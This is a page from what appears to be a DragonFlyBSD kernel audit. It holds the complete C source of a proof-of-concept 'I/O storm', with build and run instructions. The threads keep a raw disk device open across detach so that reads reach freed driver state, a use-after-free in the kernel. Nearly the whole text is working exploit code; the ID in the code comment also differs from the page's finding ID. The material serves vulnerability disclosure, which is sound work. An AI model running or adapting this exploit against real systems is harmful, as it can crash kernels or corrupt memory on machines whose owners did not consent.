⬢ DragonFlyBSD Kernel Audit
DF-4874 / df4874_storm.c
← back to finding ↓ download raw
/*
 * DF-4797 PoC — I/O storm against the raw nata ad device.
 *
 * N threads hold /dev/afd0 open and issue raw 512B preads in a tight loop.
 * The fd stays OPEN across device_detach(), which is the point: the cdev
 * keeps its ad_ops until the last reference drops, so post-detach preads
 * keep dispatching into ad_strategy() after ad_detach() kfree'd the
 * ad_softc (device_set_ivars(dev, NULL) at ata-disk.c:200).
 *
 * On ENXIO (cdev really dead) the thread closes and retries open so the
 * storm also survives attach/detach cycles.
 *
 * build: cc -O2 -pthread -o df4874_storm df4874_storm.c
 * run:   ./df4874_storm [nthreads] [seconds]
 */
#include <sys/types.h>
#include <sys/fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DEV	"/dev/afd0"

static volatile sig_atomic_t	stop_flag;
static unsigned long		total_io;
static pthread_mutex_t		stat_mtx = PTHREAD_MUTEX_INITIALIZER;

static void *
storm(void *arg __unused)
{
	unsigned char buf[512];
	unsigned long n = 0;
	off_t off = (random() & 0x7ffff) << 9;
	int fd;

	while (!stop_flag) {
		fd = open(DEV, O_RDONLY);
		if (fd < 0) {
			usleep(2000);
			continue;
		}
		for (;;) {
			if (stop_flag)
				break;
			if (pread(fd, buf, sizeof(buf), off) < 0) {
				/* ENXIO: detached & cdev dead -> reopen */
				break;
			}
			off += 512;
			if (off > (60ULL << 20))
				off = 0;
			n++;
		}
		close(fd);
	}
	pthread_mutex_lock(&stat_mtx);
	total_io += n;
	pthread_mutex_unlock(&stat_mtx);
	return (NULL);
}

int
main(int argc, char **argv)
{
	int nthreads = argc > 1 ? atoi(argv[1]) : 16;
	int seconds = argc > 2 ? atoi(argv[2]) : 60;
	pthread_t *tids;
	int i;

	tids = calloc(nthreads, sizeof(*tids));
	for (i = 0; i < nthreads; i++)
		pthread_create(&tids[i], NULL, storm, NULL);
	fprintf(stderr, "storm: %d threads pounding %s for %ds\n",
		nthreads, DEV, seconds);
	sleep(seconds);
	stop_flag = 1;
	for (i = 0; i < nthreads; i++)
		pthread_join(tids[i], NULL);
	fprintf(stderr, "storm: done, total_io=%lu\n", total_io);
	return (0);
}